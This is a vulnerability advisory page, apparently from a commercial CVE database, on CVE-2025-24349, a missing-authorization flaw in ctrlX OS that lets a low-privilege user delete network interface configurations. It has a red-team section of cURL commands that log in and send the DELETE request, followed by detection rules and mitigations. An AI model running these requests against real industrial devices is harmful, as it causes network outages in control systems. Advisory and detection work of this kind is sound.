CVE-2025-24349
Executive Summary
CVE-2025-24349 is a vulnerability in the “Network Interfaces” functionality of the web application component of ctrlX OS, a real-time operating system used in industrial automation and IoT devices. A remote authenticated attacker with low privileges can delete the configuration of physical network interfaces by sending a crafted HTTP request. This can lead to denial of service (network disruption) and potential loss of connectivity for critical control systems.
The vulnerability is classified as CWE-862: Missing Authorization, meaning the application fails to enforce proper access controls on the network interface deletion endpoint. The CVSS score is 7.1 (High), with the attack vector being network-based, low complexity, and requiring low privileges. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the lack of a vendor patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core OS-level web application issue. However, ctrlX OS may be distributed as a firmware image or container, and any downstream integrators or users should verify the integrity of their ctrlX OS images and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
- Attack Complexity: Low (AC:L) – No special conditions or race conditions required.
- Privileges Required: Low (PR:L) – Attacker needs only a low-privileged account.
- User Interaction: None (UI:N) – No user action needed.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Configuration deletion is a form of integrity loss.
- Availability Impact: High (A:H) – Network interfaces become unavailable, causing denial of service.
Threat Level: High – Due to the potential for remote network disruption in industrial environments, the lack of a patch, and the low privilege requirement.
Deep Dive & Mechanics
The vulnerability resides in the web application’s “Network Interfaces” management module. This module is typically used by administrators to configure IP addresses, VLANs, and physical interface settings. The flaw is a Missing Authorization check on the endpoint that handles deletion of physical network interface configurations.
Attack Flow:
- An attacker gains access to the ctrlX web interface with a low-privileged account (e.g., a “viewer” or “operator” role).
- The attacker sends a crafted HTTP DELETE request to the endpoint responsible for removing network interface configurations (e.g.,
/api/network/interfaces/{id}). - The server does not verify that the authenticated user has the required permissions (e.g., admin role) to perform this action.
- The configuration for the specified physical network interface is deleted, causing the interface to lose its IP settings, VLAN tags, or bonding configuration.
- The affected network interface becomes non-functional, leading to a denial of service for any services relying on that interface.
Root Cause: The web application fails to enforce role-based access control (RBAC) on the DELETE operation for network interfaces. The code likely checks authentication but not authorization.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes for CWE-862.
Vulnerable Code (Python Flask example):
@app.route('/api/network/interfaces/<int:iface_id>', methods=['DELETE'])
@login_required
def delete_interface(iface_id):
# Missing authorization check
interface = NetworkInterface.query.get(iface_id)
if interface:
db.session.delete(interface)
db.session.commit()
return jsonify({"status": "deleted"}), 200
return jsonify({"error": "not found"}), 404
Patched Code (Hypothetical):
@app.route('/api/network/interfaces/<int:iface_id>', methods=['DELETE'])
@login_required
@admin_required # Custom decorator to check admin role
def delete_interface(iface_id):
interface = NetworkInterface.query.get(iface_id)
if interface:
db.session.delete(interface)
db.session.commit()
return jsonify({"status": "deleted"}), 200
return jsonify({"error": "not found"}), 404
The fix adds an authorization check (e.g., @admin_required) to ensure only users with the appropriate role can delete network interfaces.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a ctrlX OS device with the web interface exposed.
- A valid low-privileged user account (e.g., username:
operator, password:operator123).
Exploitation Steps:
- Authenticate to the ctrlX web interface and obtain a session cookie or token.
- Identify the network interface ID to delete (e.g., by listing interfaces via GET request).
- Send a DELETE request to the vulnerable endpoint.
Example using cURL:
# Step 1: Login and capture session cookie
curl -c cookies.txt -X POST https://target-ctrlx/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"operator","password":"operator123"}'
# Step 2: List network interfaces to get ID
curl -b cookies.txt https://target-ctrlx/api/network/interfaces
# Step 3: Delete interface with ID 1 (physical interface)
curl -b cookies.txt -X DELETE https://target-ctrlx/api/network/interfaces/1
Expected Outcome: The network interface configuration is deleted, causing loss of connectivity on that interface.
Blue Team (Detection & Prevention)
Detection:
- Monitor for DELETE requests to
/api/network/interfaces/*from non-admin users. - Alert on rapid succession of interface deletions (potential automated attack).
- Use web application firewall (WAF) rules to block DELETE requests to this endpoint from low-privileged roles.
Prevention:
- Implement strict RBAC on all API endpoints.
- Apply the principle of least privilege – do not allow low-privileged users to modify network settings.
- Use API gateways to enforce authorization before requests reach the backend.
Indicators of Compromise (IOCs)
- Network Traffic:
- HTTP DELETE requests to
/api/network/interfaces/{id}from a low-privileged user session. - Unusual number of 200 OK responses to DELETE requests on network interface endpoints.
- HTTP DELETE requests to
- Logs:
- Web server logs showing
DELETE /api/network/interfaces/1with a non-admin username. - System logs indicating network interface configuration changes or deletions.
- Web server logs showing
- System State:
- Network interfaces showing no IP configuration or “down” status.
- Loss of network connectivity on specific interfaces.
Detection Engineering
YARA Rule
rule cve_2025_24349_network_interface_delete {
meta:
description = "Detects HTTP DELETE requests targeting ctrlX OS network interface API"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24349"
strings:
$method = "DELETE"
$path = "/api/network/interfaces/"
condition:
$method and $path
}
Sigma Rule
title: CVE-2025-24349 - Unauthorized Network Interface Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP DELETE requests to ctrlX OS network interface API from non-admin users
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'DELETE'
cs-uri-stem|startswith: '/api/network/interfaces/'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24349 - Unauthorized Network Interface Deletion"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/api/network/interfaces/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Limit access to the ctrlX web interface to trusted networks only (e.g., via firewall rules or VPN).
- Disable Low-Privilege Accounts: If possible, disable or remove low-privileged accounts that are not needed.
- Monitor Logs: Enable detailed logging for all API requests and monitor for suspicious DELETE operations.
Long-Term Fix:
- Apply vendor patch when released.
- Implement proper RBAC in the web application code.
- Conduct a security audit of all API endpoints for missing authorization checks.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block DELETE requests to
/api/network/interfaces/from non-admin IP ranges.
Valters IT
Securing Industrial Control Systems One CVE at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.